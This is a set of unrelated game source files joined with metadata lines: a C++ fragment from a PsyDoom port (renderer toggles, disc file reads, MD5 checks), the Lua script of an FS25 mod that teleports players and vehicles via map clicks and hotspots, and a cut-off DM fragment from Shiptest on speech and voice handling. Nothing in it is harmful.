//------------------------------------------------------------------------------------------------------------------------------------------ void onBeginUIDrawing() noexcept { #if PSYDOOM_VULKAN_RENDERER // Setup the UI transform matrix for drawing if using the Vulkan renderer const bool bSetDrawMatrix = ( (Video::gBackendType == Video::BackendType::Vulkan) && (!VRenderer::isUsingPsxRenderPath()) && VRenderer::isRendering() ); if (bSetDrawMatrix) { // Note: before setting the transform matrix and other uniforms make sure we are on a compatible pipeline that can accept these push constants. // Also make sure to end the current drawing batch, in case draw commands before this are affected by the uniform changes. VDrawing::endCurrentDrawBatch(); VDrawing::setDrawPipeline(VPipelineType::UI_8bpp); // Set the draw uniforms, including the transform matrix { VShaderUniforms_Draw uniforms = {}; VRenderer::initRendererUniformFields(uniforms); uniforms.mvpMatrix = VDrawing::computeTransformMatrixForUI(Config::gbVulkanWidescreenEnabled); VDrawing::setDrawUniforms(uniforms); } } #endif } //------------------------------------------------------------------------------------------------------------------------------------------ // Check to see if the button to toggle the Vulkan/classic renderers has been pressed. // If that is the case then this function will begin a renderer toggle, if that is possible. //------------------------------------------------------------------------------------------------------------------------------------------ void checkForRendererToggleInput() noexcept { #if PSYDOOM_VULKAN_RENDERER // Renderer can only be toggled if using the Vulkan backend if (Video::gBackendType != Video::BackendType::Vulkan) return; // Do the toggle if the toggle button is just pressed if (!Controls::isJustPressed(Controls::Binding::Toggle_Renderer)) return; const bool bUseVulkan = VRenderer::isUsingPsxRenderPath(); if (bUseVulkan) { VRenderer::switchToMainVulkanRenderPath(); } else { VRenderer::switchToPsxRenderPath(); } gStatusBar.message = (bUseVulkan) ? "Vulkan Renderer." : "Classic Renderer."; gStatusBar.messageTicsLeft = 30; #endif } //------------------------------------------------------------------------------------------------------------------------------------------ // Checks to see if the button to toggle between capped and uncapped framerates has been pressed. // Peforms the switch between framerate modes if it is pressed. //------------------------------------------------------------------------------------------------------------------------------------------ void checkForUncappedFramerateToggleInput() noexcept { if (Controls::isJustPressed(Controls::Binding::Toggle_UncappedFps)) { PlayerPrefs::gbUncapFramerate = (!PlayerPrefs::gbUncapFramerate); gStatusBar.message = (PlayerPrefs::gbUncapFramerate) ? "Uncapped FPS." : "Original FPS."; gStatusBar.messageTicsLeft = 30; } } //------------------------------------------------------------------------------------------------------------------------------------------ // Retrieves data from a specified file on a game disc with the associated file system. // Starts reading the file from the specified offset and for the specified number of bytes. // If the number of bytes specified is '-1' or below it means that all the data from the given offset should be read. // Returns an empty data object on failure to read. //------------------------------------------------------------------------------------------------------------------------------------------ DiscFileData getDiscFileData( const DiscInfo& discInfo, const IsoFileSys& isoFileSys, const char* const filePath, const uint32_t readOffset, const int32_t numBytesToRead ) noexcept { // Zero sized reads are always invalid if (numBytesToRead == 0) return {}; // Retrieve the file system entry first and abort if that fails const IsoFileSysEntry* const pFsEntry = (filePath) ? isoFileSys.getEntry(filePath) : nullptr; const bool bValidFsEntry = (pFsEntry && (pFsEntry->size > 0)); if (!bValidFsEntry) return {}; // If the read starts past the end then it's invalid if (readOffset >= pFsEntry->size) return {}; // Figure out the real size of the read ('-1' means all bytes past the offset). // If the read is out of bounds then fail the read also. const uint32_t realNumBytesToRead = (numBytesToRead < 0) ? pFsEntry->size - readOffset : (uint32_t) numBytesToRead; if (readOffset + realNumBytesToRead > pFsEntry->size) return {}; // Do the read and abort if that failed std::unique_ptr<std::byte[]> fileBytes = std::make_unique<std::byte[]>(realNumBytesToRead); DiscReader discReader(discInfo); const bool bFileReadSuccess = ( discReader.setTrackNum(1) && discReader.trackSeekAbs((int32_t) pFsEntry->startLba * CDROM_SECTOR_SIZE + (int32_t) readOffset) && discReader.read(fileBytes.get(), realNumBytesToRead) ); if (!bFileReadSuccess) return {}; // Success! Return the bytes just read: return { std::move(fileBytes), realNumBytesToRead }; } //------------------------------------------------------------------------------------------------------------------------------------------ // Gets the MD5 hash of a file on the given game disc (with associated file system) and returns 'true' if was successfully retrieved. // The hash is returned as 2 64-bit words, with the bytes packed in the visual order that the MD5 would be read (as a string of bytes). //------------------------------------------------------------------------------------------------------------------------------------------ bool getDiscFileMD5Hash( const DiscInfo& discInfo, const IsoFileSys& isoFileSys, const char* const filePath, uint64_t& hashWord1, uint64_t& hashWord2 ) noexcept { // Get the data and abort if that fails DiscFileData data = getDiscFileData(discInfo, isoFileSys, filePath); if (!data.pBytes) { hashWord1 = {}; hashWord2 = {}; return false; } // Hash the data and turn the hash into 2 64-bit words MD5 md5Hasher; md5Hasher.reset(); md5Hasher.add(data.pBytes.get(), data.numBytes); uint8_t md5[16] = {}; md5Hasher.getHash(md5); hashWord1 = ( ((uint64_t) md5[0 ] << 56) | ((uint64_t) md5[1 ] << 48) | ((uint64_t) md5[2 ] << 40) | ((uint64_t) md5[3 ] << 32) | ((uint64_t) md5[4 ] << 24) | ((uint64_t) md5[5 ] << 16) | ((uint64_t) md5[6 ] << 8) | ((uint64_t) md5[7 ] << 0) ); hashWord2 = ( ((uint64_t) md5[8 ] << 56) | ((uint64_t) md5[9 ] << 48) | ((uint64_t) md5[10] << 40) | ((uint64_t) md5[11] << 32) | ((uint64_t) md5[12] << 24) | ((uint64_t) md5[13] << 16) | ((uint64_t) md5[14] << 8) | ((uint64_t) md5[15] << 0) ); return true; } //------------------------------------------------------------------------------------------------------------------------------------------ // Checks if the specified file exists on a game disc (with associated file system) and whether it's MD5 hash matches the input hash. // Returns 'true' if the file is found AND the hash matches. // The MD5 hash is specified in the visual order that the MD5 would be read (as a string of bytes). //------------------------------------------------------------------------------------------------------------------------------------------ bool checkDiscFileMD5Hash( const DiscInfo& discInfo, const IsoFileSys& isoFileSys, const char* const filePath, const uint64_t checkHashWord1, const uint64_t checkHashWord2 ) noexcept { uint64_t actualHashWord1 = {}; uint64_t actualHashWord2 = {}; if (getDiscFileMD5Hash(discInfo, isoFileSys, filePath, actualHashWord1, actualHashWord2)) { return ((actualHashWord1 == checkHashWord1) && (actualHashWord2 == checkHashWord2)); } else { return false; } } END_NAMESPACE(Utils)
0
0.902448
1
0.902448
game-dev
MEDIA
0.569159
game-dev
0.932164
1
0.932164
sperrgebiet/FS25_Tardis
25,036
Tardis.lua
-- Tardis.lua for FS25 -- Author: sperrgebiet -- Please see https://github.com/sperrgebiet/FS25_Tardis for additional information, credits, issues and everything else Tardis = {}; Tardis.eventName = {}; -- It's great that Giants gets rid of functions as part of an update. Now we can do things more complicated than before --Tardis.ModName = g_currentModName --Tardis.ModDirectory = g_currentModDirectory Tardis.ModName = "FS25_Tardis" Tardis.ModDirectory = g_modManager.nameToMod.FS25_Tardis.modDir Tardis.Version = "0.1.0.2"; -- Integration environment for VehicleExplorer envVeEx = nil; Tardis.camBackup = {}; Tardis.hotspots = {}; Tardis.debug = fileExists(Tardis.ModDirectory ..'debug'); -- Load MP source files source(Tardis.ModDirectory .. "TardisEvents.lua"); print(string.format('Tardis v%s - DebugMode %s)', Tardis.Version, tostring(Tardis.debug))); addModEventListener(Tardis); function Tardis:dp(val, fun, msg) -- debug mode, write to log if not Tardis.debug then return; end if msg == nil then msg = ' '; else msg = string.format(' msg = [%s] ', tostring(msg)); end local pre = 'Tardis DEBUG:'; if type(val) == 'table' then if #val > 0 then print(string.format('%s BEGIN Printing table data: (%s)%s(function = [%s()])', pre, tostring(val), msg, tostring(fun))); DebugUtil.printTableRecursively(val, '.', 0, 3); print(string.format('%s END Printing table data: (%s)%s(function = [%s()])', pre, tostring(val), msg, tostring(fun))); else print(string.format('%s Table is empty: (%s)%s(function = [%s()])', pre, tostring(val), msg, tostring(fun))); end else print(string.format('%s [%s]%s(function = [%s()])', pre, tostring(val), msg, tostring(fun))); end end function Tardis:prerequisitesPresent(specializations) return true; end function Tardis:loadMap(name) print("--- loading Tardis V".. Tardis.Version .. " | ModName " .. Tardis.ModName .. " ---"); -- FS25 does things apparently different. registerActionEvents is not within Update --FSBaseMission.registerActionEvents = Utils.appendedFunction(FSBaseMission.registerActionEvents, Tardis.registerActionEvents); --Player.registerActionEvents = Utils.appendedFunction(Player.registerActionEvents, Tardis.registerActionEventsPlayer); Tardis.TardisActive = false; Tardis.mousePos = {0.5, 0.5}; Tardis.worldXpos = 0; Tardis.worldZpos = 0; Tardis.fieldNumber = 1; -- Integration with Vehicle Explorer local VeExName = "FS19_VehicleExplorer"; if g_modIsLoaded[VeExName] then envVeEx = getfenv(0)[VeExName]; print("Tardis: VehicleExplorer integration available"); end end function Tardis:update(dt) -- Apparently FS25 does things differently. Thanks for the great documentation Giants -- No idea if this is now the proper way, but lets wait for the next game update to break things again Tardis.registerActionEvents() end -- Global action events function Tardis:registerActionEvents(isSelected, isOnActiveVehicle) local actions = { "tardis_showTardisCursor", "tardis_useHotspot1", "tardis_useHotspot2", "tardis_useHotspot3", "tardis_useHotspot4", "tardis_useHotspot5", "tardis_useHotspot6", "tardis_useHotspot7", "tardis_useHotspot8", "tardis_useHotspot9", "tardis_deleteHotspot", "tardis_resetCamera" }; for _, action in pairs(actions) do local actionMethod = string.format("action_%s", action); local result, eventName = InputBinding.registerActionEvent(g_inputBinding, action, self, Tardis[actionMethod], false, true, false, true) if result then table.insert(Tardis.eventName, eventName); if envVeEx ~= nil and VehicleSort.config[13][2] then g_inputBinding.events[eventName].displayIsVisible = true; else g_inputBinding.events[eventName].displayIsVisible = false; end end end end function Tardis:registerActionEventsPlayer() end function Tardis.registerEventListeners(vehicleType) local functionNames = { "onRegisterActionEvents", }; for _, functionName in ipairs(functionNames) do SpecializationUtil.registerEventListener(vehicleType, functionName, Tardis); end end --Vehicle functions function Tardis:onRegisterActionEvents(isSelected, isOnActiveVehicle) local result, eventName = InputBinding.registerActionEvent(g_inputBinding, 'tardis_resetVehicle',self, Tardis.action_tardis_resetVehicle ,false ,true ,false ,true) if result then table.insert(Tardis.eventName, eventName); if envVeEx ~= nil and VehicleSort.config[13][2] then g_inputBinding.events[eventName].displayIsVisible = true; else g_inputBinding.events[eventName].displayIsVisible = false; end end end function Tardis:keyEvent(unicode, sym, modifier, isDown) end function Tardis:mouseEvent(posX, posY, isDown, isUp, button) --Tardis:dp(string.format('posX {%s) posY {%s}', posX, posY)); if Tardis.isActionAllowed() then local mOX = g_currentMission.hud.ingameMap.layout.mapPosX; local mOY = g_currentMission.hud.ingameMap.layout.mapPosY; if posX >= mOX and posX <= mOX + g_currentMission.hud.ingameMap.layout.mapSizeX then Tardis.worldXpos = (posX - mOX) / g_currentMission.hud.ingameMap.layout.mapSizeX; end; if posY >= mOY and posY <= mOY + g_currentMission.hud.ingameMap.layout.mapSizeY then Tardis.worldZpos = 1 - (posY - mOY) / g_currentMission.hud.ingameMap.layout.mapSizeY; end; -- Render position for Debug --local debugText = "posX: " .. posX .. " | posY: " .. posY .. "tardis.worldXpos: " .. Tardis.worldXpos .. "Tardis worldZpos: " .. Tardis.worldZpos --renderText(0.5, 0.5, getCorrectTextSize(0.016), debugText); if isDown and button == Input.MOUSE_BUTTON_LEFT then Tardis:dp(string.format('posX {%s} posY {%s} - mOX {%s} mOY {%s} - worldXpos {%s} worldZpos {%s}', posX, posY, mOX, mOY, Tardis.worldXpos, Tardis.worldZpos)); local posX = Tardis.worldXpos * g_currentMission.terrainSize; local posZ = Tardis.worldZpos * g_currentMission.terrainSize; if Tardis:getCurrentVehicle() then local veh = Tardis:getCurrentVehicle() Tardis:teleportToLocation(posX, posZ, veh, false, false, false) TardisTeleportEvent.sendEvent(posX, posZ, veh, false, false, false) else Tardis:dp(string.format('telePort param1 {%s} - param2 {%s}',posX, posZ)); Tardis:teleportToLocation(posX, posZ); TardisTeleportEvent.sendEvent(posX, posZ, nil, false, false, false) end Tardis.TardisActive = false; g_inputBinding:setShowMouseCursor(false); end; Tardis.mousePos[1] = posX; Tardis.mousePos[2] = posY; end end function Tardis:draw() if Tardis.TardisActive then local ovrlX = g_currentMission.hud.ingameMap.layout.mapPosX + getTextWidth(g_currentMission.hud.fillLevelsDisplay.fillLevelTextSize, "DummyText"); local ovrlY = g_currentMission.hud.ingameMap.layout.mapPosY + g_currentMission.hud.ingameMap.layout.mapSizeY; local px = 0.01; local py = 0.005; local name; local veh; local drawImage = false; --There are so many cases where we don't want to draw a image, so easier to just set it to true in case it's the currently controlled vehicle if envVeEx ~= nil and envVeEx.VehicleSort.showVehicles and envVeEx.VehicleSort.config[22][2] then local realVeh = g_currentMission.vehicleSystem.vehicles[envVeEx.VehicleSort.Sorted[envVeEx.VehicleSort.selectedIndex]]; if realVeh ~= nil then veh = realVeh; end elseif g_currentMission.controlledVehicle ~= nil then veh = g_currentMission.controlledVehicle; drawImage = true; end if veh ~= nil then --Get image size local storeImgX, storeImgY = getNormalizedScreenValues(128, 128) if drawImage then Tardis:DrawImage(veh, ovrlX, ovrlY) end name = veh:getName(); if veh.getAttachedImplements ~= nil then local allAttached = {} local function addAllAttached(vehicle) for _, implA in pairs(vehicle:getAttachedImplements()) do addAllAttached(implA.object); table.insert(allAttached, {vehicle = vehicle, object = implA.object, jointDescIndex = implA.jointDescIndex, inputAttacherJointDescIndex = implA.object.inputAttacherJointDescIndex}); end end addAllAttached(veh); for i = table.getn(allAttached), 1, -1 do if drawImage then Tardis:DrawImage(allAttached[i].object, ovrlX + storeImgX * i, ovrlY) end name = name .. " + " .. allAttached[i].object:getName(); end end end if veh and Tardis:isTrain(veh) then g_currentMission:showBlinkingWarning(g_i18n.modEnvironments[Tardis.ModName].texts.warning_train, 2000); name = veh:getName(); end if veh and Tardis:isCrane(veh) then g_currentMission:showBlinkingWarning(g_i18n.modEnvironments[Tardis.ModName].texts.warning_crane, 2000); name = veh:getName(); end if name == nil or string.len(name) == 0 then name = string.format('%s %s', g_i18n.modEnvironments[Tardis.ModName].texts.lonelyFarmer, g_currentMission.playerNickname); end if veh and veh.spec_combine ~= nil and veh.getFillLevelInformation ~= nil then local fillLevelTable = {}; veh:getFillLevelInformation(fillLevelTable); for _,fillLevelVehicle in pairs(fillLevelTable) do fillLevel = fillLevelVehicle.fillLevel; end if fillLevel ~= nil and fillLevel > 0 then g_currentMission:showBlinkingWarning(g_i18n.modEnvironments[Tardis.ModName].texts.warning_combine, 2000); end end if Tardis.mousePos[1] > ovrlX then --px = -(string.len(name) * 0.005) - 0.03; end if Tardis.mousePos[2] > ovrlY then py = -0.04; end renderText(Tardis.mousePos[1] + px, Tardis.mousePos[2] + py, getCorrectTextSize(0.016), name); setTextAlignment(RenderText.ALIGN_RIGHT) setTextBold(false) setTextColor(0, 1, 0.4, 1) renderText(g_currentMission.hud.ingameMap.layout.mapPosX + g_currentMission.hud.ingameMap.layout.mapSizeX - g_currentMission.hud.ingameMap.layout.coordOffsetX, g_currentMission.hud.ingameMap.layout.mapPosY + g_currentMission.hud.ingameMap.layout.coordOffsetY + 0.010, g_currentMission.hud.ingameMap.layout.coordinateFontSize, string.format("Tardis: [%04d", Tardis.worldXpos * g_currentMission.terrainSize) .. string.format(",%04d]", Tardis.worldZpos * g_currentMission.terrainSize)); setTextColor(1, 1, 1, 1) setTextAlignment(RenderText.ALIGN_LEFT) end end -- Functions for actionEvents/inputBindings function Tardis:action_tardis_showTardisCursor(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:showTardis(); end function Tardis:action_tardis_resetVehicle(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); if g_currentMission.controlledVehicle then -- We can provide dummy values, as we'll do the actual stuff in the teleport function Tardis:teleportToLocation(0, 0, nil, true); --TardisTeleportEvent.sendEvent(0, 0, nil, true, false, false) end end function Tardis:action_tardis_useHotspot1(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(1); end function Tardis:action_tardis_useHotspot2(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(2); end function Tardis:action_tardis_useHotspot3(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(3); end function Tardis:action_tardis_useHotspot4(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(4); end function Tardis:action_tardis_useHotspot5(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(5); end function Tardis:action_tardis_useHotspot6(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(6); end function Tardis:action_tardis_useHotspot7(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(7); end function Tardis:action_tardis_useHotspot8(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(8); end function Tardis:action_tardis_useHotspot9(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); Tardis:useOrSetHotspot(9); end function Tardis:action_tardis_deleteHotspot(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); local hotspotId = Tardis:hotspotNearby(); if hotspotId > 0 then Tardis:dp(string.format('Found hotspot {%d}. Going to delete it.', hotspotId), 'action_deleteHotspot'); Tardis:removeMapHotspot(hotspotId); --TardisRemoveHotspotEvent.sendEvent(hotspotId, false); else Tardis:dp('No hotspots nearby', 'action_deleteHotspot'); Tardis:showBlinking(nil, 3); end end function Tardis:action_tardis_resetCamera(actionName, keyStatus, arg3, arg4, arg5) Tardis:dp(string.format('%s fires', actionName)); local veh = g_currentMission.controlledVehicle for i, _ in ipairs(veh.spec_enterable.cameras) do veh.spec_enterable.cameras[i].isRotatable = true veh.spec_enterable.cameras[i].storedIsRotatable = true end text = g_i18n.modEnvironments[Tardis.ModName].texts.resetCameraText; g_currentMission:showBlinkingWarning(text, 2000); end -- -- Tardis specific functions -- function Tardis:showTardis() if (g_currentMission.hud.ingameMap.isVisible and g_currentMission.hud.ingameMap.state == 4) then Tardis.TardisActive = not Tardis.TardisActive; if Tardis.TardisActive then g_inputBinding:setShowMouseCursor(true); Tardis:Freeze(true); --It's getting confusing when we want to use Tardis and VehicleExplorer at the same but, although the integration was disabled --So better to close the vehicle list from VeEx in that case if envVeEx ~= nil and not envVeEx.VehicleSort.config[22][2] and envVeEx.VehicleSort.showVehicles then envVeEx.VehicleSort.showVehicles = false; end else Tardis.TardisActive = false; g_inputBinding:setShowMouseCursor(false); Tardis:Freeze(false); end elseif Tardis.TardisActive then Tardis.TardisActive = false; g_inputBinding:setShowMouseCursor(false); end end function Tardis:teleportToLocation(x, z, veh, isReset, isHotspot) if g_client ~= nil then x = tonumber(x); z = tonumber(z); if x == nil then return; end; if envVeEx ~= nil and veh == nil then if envVeEx.VehicleSort.showVehicles and envVeEx.VehicleSort.config[22][2] then local realVeh = g_currentMission.vehicleSystem.vehicles[envVeEx.VehicleSort.Sorted[envVeEx.VehicleSort.selectedIndex]]; if realVeh ~= nil then veh = realVeh; if veh ~= self.getCurrentVehicle() then envVeEx.VehicleSort.wasTeleportAction = true; end end end end if veh == nil then veh = self.getCurrentVehicle(); end -- We don't want to teleport cranes or trains if veh ~= nil and (Tardis:isTrain(veh) or Tardis:isCrane(veh)) then Tardis:Freeze(false); return false; end local targetX, targetY, targetZ = 0, 0, 0; if not isReset and not isHotspot then --As we have to use the console command we don't have to recalculate position anymore --Yeah, I know it's not necessary to keep that part in the code. But we all know Giants, who knows what will be changed in the next patch ;) --local worldSizeX = g_currentMission.hud.ingameMap.worldSizeX; --local worldSizeZ = g_currentMission.hud.ingameMap.worldSizeZ; --Tardis:dp(string.format('worldSizeX {%d} | worldSizeY {%d}', worldSizeX, worldSizeZ), 'teleportToLocation'); --Apparently Giants decided that clamp is not useful anymore --targetX = MathUtil.clamp(x, 0, worldSizeX) - worldSizeX * 0.5; --targetZ = MathUtil.clamp(z, 0, worldSizeZ) - worldSizeZ * 0.5; --targetX = Clamp(x, 0, worldSizeX) - worldSizeX * 0.5; --targetZ = Clamp(z, 0, worldSizeZ) - worldSizeZ * 0.5; targetX = x; targetZ = z; elseif isHotspot then targetX = x; targetZ = z; else local veh = self:getCurrentVehicle() targetX, targetY, targetZ = getWorldTranslation(veh.rootNode); end Tardis:dp(string.format('targetX {%s} - targetZ {%s}', tostring(targetX), tostring(targetZ)), 'teleportToLocation'); --g_localPlayer:teleportTo(targetX, 1.2, targetZ); executeConsoleCommand(string.format('gsTeleport %d %d', targetX, targetZ)) Tardis:Freeze(false); end end function Tardis:DrawImage(obj, imgX, imgY) local imgFileName = Tardis:getStoreImageByConf(obj.configFileName); local storeImage = createImageOverlay(imgFileName); if storeImage > 0 then local storeImgX, storeImgY = getNormalizedScreenValues(128, 128) renderOverlay(storeImage, imgX, imgY, storeImgX, storeImgY) end end function Tardis:getStoreImageByConf(confFile) local storeItem = g_storeManager.xmlFilenameToItem[string.lower(confFile)]; if storeItem ~= nil then local imgFileName = storeItem.imageFilename; if string.find(imgFileName, 'locomotive') then imgFileName = "data/store/store_empty.png"; end return imgFileName; end end function Tardis:isCrane(obj) return obj['typeName'] == 'crane'; end function Tardis:isTrain(obj) return obj['typeName'] == 'locomotive'; end function Tardis:isHorse(obj) return obj['typeName'] == 'horse'; end function Tardis:Freeze(setFreeze) local veh = self:getCurrentVehicle(); if setFreeze then if veh ~= nil then -- We just want to mess with the cameras when we can ensure that we can do a backup first if Tardis.camBackup[veh.id] == nil then Tardis.camBackup[veh.id] = {}; for i, camera in pairs(veh.spec_enterable.cameras) do local camSettings = {}; camSettings['camId'] = i; camSettings['isRotatable'] = camera.isRotatable; table.insert(Tardis.camBackup[veh.id], camSettings); camSettings = nil; camera.storedIsRotatable = camera.isRotatable; camera.isRotatable = false; end end else g_currentMission.isPlayerFrozen = true; end else if veh ~= nil and veh.id ~= nil then if Tardis.camBackup[veh.id] ~= nil then for _, v in pairs(Tardis.camBackup[veh.id]) do veh.spec_enterable.cameras[v['camId']]['isRotatable'] = v['isRotatable']; veh.spec_enterable.cameras[v['camId']]['storedIsRotatable'] = v['isRotatable']; end Tardis.camBackup[veh.id] = nil; end end --Always unfreeze player g_currentMission.isPlayerFrozen = false; end end function Tardis:useOrSetHotspot(hotspotId) Tardis:dp(string.format('hotspotId: {%d}', hotspotId), 'useOrSetHotspot'); if Tardis.hotspots[hotspotId] ~= nil then local x = Tardis.hotspots[hotspotId]['worldX']; local z = Tardis.hotspots[hotspotId]['worldZ']; Tardis:dp(string.format('Hotspot {%d} exists. Teleporting now to: x {%s}, z {%s}', hotspotId, tostring(x), tostring(z)), 'createMapHotspot'); Tardis:teleportToLocation(x, z, nil, false, true); --TardisTeleportEvent.sendEvent(x, z, nil, false, true, false) else Tardis:createMapHotspot(hotspotId); end end function Tardis:createMapHotspot(hotspotId, paramX, paramZ) local x = paramX local z = paramZ local y = nil local name = string.format('%s %s', g_i18n.modEnvironments[Tardis.ModName].texts.hotspot, hotspotId); local hotspot = PlaceableHotspot.new() local width, height = getNormalizedScreenValues(48, 48) local file = Utils.getFilename("hotspot.dds", self.ModDirectory) hotspot.icon = Overlay.new(file, 0, 0, width, height) hotspot.placeableType = PlaceableHotspot.TYPE.EXCLAMATION_MARK hotspot:setName(name) if x == nil and z == nil then x, y, z = getWorldTranslation(g_currentMission.player.rootNode) end if y == nil then y = getTerrainHeightAtWorldPos(g_currentMission.terrainRootNode, x, 0, z) end Tardis:dp(string.format('Hotspot position x: {%d} / z: {%d}', x, z), 'createMapHotspot'); hotspot:setWorldPosition(x, z) hotspot:setTeleportWorldPosition(x, y, z) Tardis.hotspots[hotspotId] = hotspot g_currentMission:addMapHotspot(Tardis.hotspots[hotspotId]) -- if there is a paramX and paramZ it means we got it from a savegame or MP, so no need for a blinking warning if paramX == nil and paramZ == nil then Tardis:showBlinking(hotspotId, 1) end end function Tardis:removeMapHotspot(hotspotId) g_currentMission:removeMapHotspot(Tardis.hotspots[hotspotId]); Tardis.hotspots[hotspotId] = nil; Tardis:showBlinking(hotspotId, 2); end function Tardis:saveHotspots(missionInfo) if #Tardis.hotspots > 0 then if missionInfo.isValid and missionInfo.xmlKey ~= nil then local tardisKey = missionInfo.xmlKey .. ".TardisHotspots"; for k, v in pairs(Tardis.hotspots) do setXMLFloat(missionInfo.xmlFile, tardisKey .. '.hotspot' .. k .. '#worldX' , v.worldX); setXMLFloat(missionInfo.xmlFile, tardisKey .. '.hotspot' .. k .. '#worldZ' , v.worldZ); end end end end function Tardis:loadHotspots() if g_currentMission == nil or not g_currentMission:getIsServer() then return end if g_currentMission.missionInfo.savegameDirectory ~= nil then local xmlFile = Utils.getFilename("careerSavegame.xml", g_currentMission.missionInfo.savegameDirectory.."/"); local savegame = loadXMLFile('careerSavegameXML', xmlFile); local tardisKey = g_currentMission.missionInfo.xmlKey .. ".TardisHotspots"; Tardis:dp(string.format('Going to load {%s} from {%s}', tardisKey, xmlFile), 'loadHotspots'); if hasXMLProperty(savegame, tardisKey) then Tardis:dp(string.format('{%s} exists.', tardisKey), 'loadHotspots'); for i=1, 9 do local hotspotKey = tardisKey .. '.hotspot' .. i; if hasXMLProperty(savegame, hotspotKey) then local worldX = getXMLFloat(savegame, hotspotKey .. "#worldX"); local worldZ = getXMLFloat(savegame, hotspotKey .. "#worldZ"); Tardis:dp(string.format('Loaded MapHotSpot {%d} from savegame. worldX {%s}, worldZ {%s}', i, tostring(worldX), tostring(worldZ)), 'loadHotspots'); Tardis:createMapHotspot(i, worldX, worldZ); TardisCreateHotspotEvent.sendEvent(hotspotId, worldX, worldZ, true); end end end end end function Tardis.loadedMission() Tardis:loadHotspots(); end function Tardis.saveToXMLFile(missionInfo) Tardis:saveHotspots(missionInfo); end -- it would be nicer to do that with triggers if possible. But it should do the job for now function Tardis:hotspotNearby() local range = 25; local playerX, _, playerZ = getWorldTranslation(g_currentMission.player.rootNode); local hotspotNearby = false; for k, v in pairs(Tardis.hotspots) do local hsX = v.worldX; local hsZ = v.worldZ; if (playerX >= (hsX - range) and playerX <= (hsX + range)) and (playerZ >= (hsZ - range) and playerZ <= (hsZ + range)) then Tardis:dp(string.format('Hotspot {%d} nearby', k), 'hotspotNearby'); return k; end end return 0; end function Tardis:showBlinking(hotspotId, action) if g_client ~= nil then --action: 1 created, 2 deleted, 3 nohotspots local text = ''; if action == 1 then text = string.format('%s %d %s', g_i18n.modEnvironments[Tardis.ModName].texts.hotspot, hotspotId, g_i18n.modEnvironments[Tardis.ModName].texts.warning_created); elseif action == 2 then text = string.format('%s %d %s', g_i18n.modEnvironments[Tardis.ModName].texts.hotspot, hotspotId, g_i18n.modEnvironments[Tardis.ModName].texts.warning_deleted); elseif action == 3 then text = g_i18n.modEnvironments[Tardis.ModName].texts.warning_nohotspot; end g_currentMission:showBlinkingWarning(text, 2000); end end function Tardis:isActionAllowed() -- We don't want to accidently switch vehicle when the vehicle list is opened and we change to a menu if string.len(g_gui.currentGuiName) > 0 or #g_gui.dialogs > 0 then --if not g_gui:getIsGuiVisible() return false; elseif Tardis.TardisActive then return true; end end function Tardis:getCurrentVehicle() --player = g_currentMission.playerSystem:getLocalPlayer() return g_localPlayer.getCurrentVehicle() end function Clamp(num, min, max) return num <= min and min or (num >= max and max or num) end Mission00.loadMission00Finished = Utils.appendedFunction(Mission00.loadMission00Finished, Tardis.loadedMission) FSCareerMissionInfo.saveToXMLFile = Utils.appendedFunction(FSCareerMissionInfo.saveToXMLFile, Tardis.saveToXMLFile)
0
0.790332
1
0.790332
game-dev
MEDIA
0.862763
game-dev
0.911623
1
0.911623
shiptest-ss13/Shiptest
3,150
code/modules/mob/living/carbon/human/human_say.dm
/mob/living/carbon/human/say_mod(input, datum/language/message_language, list/message_mods = list()) if(!message_language) message_language = get_selected_language() if(initial(message_language?.flags) & SIGNED_LANGUAGE) return ..() var/obj/item/organ/tongue/T = src.getorganslot(ORGAN_SLOT_TONGUE) if(T) verb_say = T.say_mod verb_ask = T.ask_mod verb_exclaim = T.exclaim_mod verb_whisper = T.whisper_mod verb_sing = T.sing_mod verb_yell = T.yell_mod if(slurring) return "slurs" return ..() /mob/living/carbon/human/GetVoice(if_no_voice = get_generic_name()) if(istype(wear_mask, /obj/item/clothing/mask/chameleon)) var/obj/item/clothing/mask/chameleon/chameleon_mask = wear_mask if(chameleon_mask.voice_change && wear_id) var/obj/item/card/id/idcard = wear_id.GetID() if(istype(idcard)) return idcard.registered_name else if(istype(wear_mask, /obj/item/clothing/mask/gas/syndicate/voicechanger)) var/obj/item/clothing/mask/gas/syndicate/voicechanger/V = wear_mask if(V.voice_change && wear_id) var/obj/item/card/id/idcard = wear_id.GetID() if(istype(idcard)) return idcard.registered_name else return real_name else return real_name else if(istype(wear_mask, /obj/item/clothing/mask/infiltrator)) var/obj/item/clothing/mask/infiltrator/infiltrator_mask = wear_mask if(infiltrator_mask.voice_unknown) return if_no_voice if(mind) var/datum/antagonist/changeling/changeling = mind.has_antag_datum(/datum/antagonist/changeling) if(changeling && changeling.mimicing) return changeling.mimicing var/special_voice = GetSpecialVoice() if(special_voice) return special_voice return real_name /mob/living/carbon/human/IsVocal() // how do species that don't breathe talk? magic, that's what. if(!HAS_TRAIT_FROM(src, TRAIT_NOBREATH, SPECIES_TRAIT) && !getorganslot(ORGAN_SLOT_LUNGS)) return FALSE return TRUE /mob/living/carbon/human/proc/SetSpecialVoice(new_voice) if(new_voice) special_voice = new_voice return /mob/living/carbon/human/proc/UnsetSpecialVoice() special_voice = "" return /mob/living/carbon/human/proc/GetSpecialVoice() return special_voice /mob/living/carbon/human/binarycheck() if(ears) var/obj/item/radio/headset/dongle = ears if(!istype(dongle)) return FALSE if(dongle.translate_binary) return TRUE /mob/living/carbon/human/radio(message, 